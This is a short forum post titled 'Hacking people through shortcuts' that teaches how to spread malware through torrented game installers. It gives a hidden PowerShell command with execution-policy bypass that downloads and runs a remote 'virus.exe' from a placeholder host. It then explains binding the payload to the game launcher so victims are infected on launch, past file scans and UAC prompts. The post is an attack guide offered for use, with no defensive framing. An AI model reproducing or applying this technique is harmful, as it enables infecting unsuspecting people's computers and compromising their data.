Thread: Hacking people through shortcuts

So this is actually a pretty good way to send your file to people - especially if you are making torrent packs for games.

Simply pack your game ready in an installer, but make the extracted/installation files a shortcut to their taskbar or desktop as for example

Code powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://website/virus.txt','$env:temp\virus.exe');
Start-Process \"$env:temp\virus.exe\""

Then make your virus.exe file a bind of their game launcher (with default path) and your server.

This way they will be infected not when they download the file, scan the files or check the files but when you they try launch the game itself. The game will launch in front and "if" prompted for UAC they will most likely accept as they have just installed a new game.

So overall.

1. Pack a game/program together as an installation, change the installation to extract a shortcut to the game in their taskbar or startmenu -
2. When they run the shortcut to their program, it will download your server and run it, then run their installed program.

This means the game they are downloading/running can be scanned as much as they want.
